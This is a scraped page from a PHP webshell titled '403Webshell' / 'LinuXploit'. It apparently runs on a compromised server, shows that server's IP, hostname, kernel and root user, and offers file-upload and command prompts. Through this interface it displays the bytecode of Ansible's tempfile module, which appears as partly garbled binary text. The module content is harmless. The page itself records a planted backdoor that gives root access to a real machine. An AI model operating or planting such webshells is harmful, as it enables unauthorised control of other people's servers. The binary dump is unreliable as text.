403Webshell
Server IP : 157.22.201.140  /  Your IP : 216.73.216.74
Web Server : nginx/1.30.1
System : Linux mit.vincode.fvds.ru 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible/modules/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/ansible/modules/__pycache__/tempfile.cpython-312.pyc
�

1<�e�
���ddlmZmZmZeZdZdZdZddl	m
Z
ddlmZm
Z
ddlmZddlmZdd	lmZd
�Zedk(re�yy)
�)�absolute_import�division�print_functiona�
---
module: tempfile
version_added: "2.3"
short_description: Creates temporary files and directories
description:
  - The M(ansible.builtin.tempfile) module creates temporary files and directories. C(mktemp) command
    takes different parameters on various systems, this module helps to avoid troubles related to that.
    Files/directories created by module are accessible only by creator. In case you need to make them
    world-accessible you need to use M(ansible.builtin.file) module.
  - For Windows targets, use the M(ansible.windows.win_tempfile) module instead.
options:
  state:
    description:
      - Whether to create file or directory.
    type: str
    choices: [ directory, file ]
    default: file
  path:
    description:
      - Location where temporary file or directory should be created.
      - If path is not specified, the default system temporary directory will be used.
    type: path
  prefix:
    description:
      - Prefix of file/directory name created by module.
    type: str
    default: ansible.
  suffix:
    description:
      - Suffix of file/directory name created by module.
    type: str
    default: ""
extends_documentation_fragment: action_common_attributes
attributes:
    check_mode:
        support: none
    diff_mode:
        support: none
    platform:
        platforms: posix
seealso:
- module: ansible.builtin.file
- module: ansible.windows.win_tempfile
author:
  - Krzysztof Magosa (@krzysztof-magosa)
a�
- name: Create temporary build directory
  ansible.builtin.tempfile:
    state: directory
    suffix: build

- name: Create temporary file
  ansible.builtin.tempfile:
    state: file
    suffix: temp
  register: tempfile_1

- name: Use the registered var and the file module to remove the temporary file
  ansible.builtin.file:
    path: "{{ tempfile_1.path }}"
    state: absent
  when: tempfile_1.path is defined
zy
path:
  description: Path to created file or directory.
  returned: success
  type: str
  sample: "/tmp/ansible.bMlvdk"
)�close)�mkstemp�mkdtemp)�
format_exc)�
AnsibleModule)�	to_nativec�D�tttddddg��td��tdd��tdd	���
���}	|jddk(rDt|jd
|jd|jd��\}}t	|�n5t|jd
|jd|jd��}|j
d|��y#t$r.}|jt|�t���Yd}~yd}~wwxYw)N�str�file�	directory)�type�default�choices�path)rzansible.)rr�)�stater�prefix�suffix)�
argument_specrrr)rr�dirT)�changedr)�msg�	exception)r
�dict�paramsrrr�	exit_json�	Exception�	fail_jsonrr	)�module�handler�es    �:/usr/lib/python3/dist-packages/ansible/modules/tempfile.py�mainr&^s��
���E�6�F�K�;P�Q��6�"��U�J�7��U�B�/�	
��F�C��=�=��!�V�+�"��}�}�X�.��}�}�X�.��M�M�&�)��L�F�D�

�&�M���}�}�X�.��}�}�X�.��M�M�&�)��D�	����D��1���C����Y�q�\�Z�\��B�B��C�s�	BC(�(	D�1$D�D�__main__N)�
__future__rrrr�
__metaclass__�
DOCUMENTATION�EXAMPLES�RETURN�osr�tempfilerr�	tracebackr	�ansible.module_utils.basicr
�+ansible.module_utils.common.text.convertersrr&�__name__��r%�<module>r5sT��A�@��
�.�
�`��&
���%� �4�A�C�<�z���F�r4

Youez - 2016 - github.com/yon3zu
LinuXploit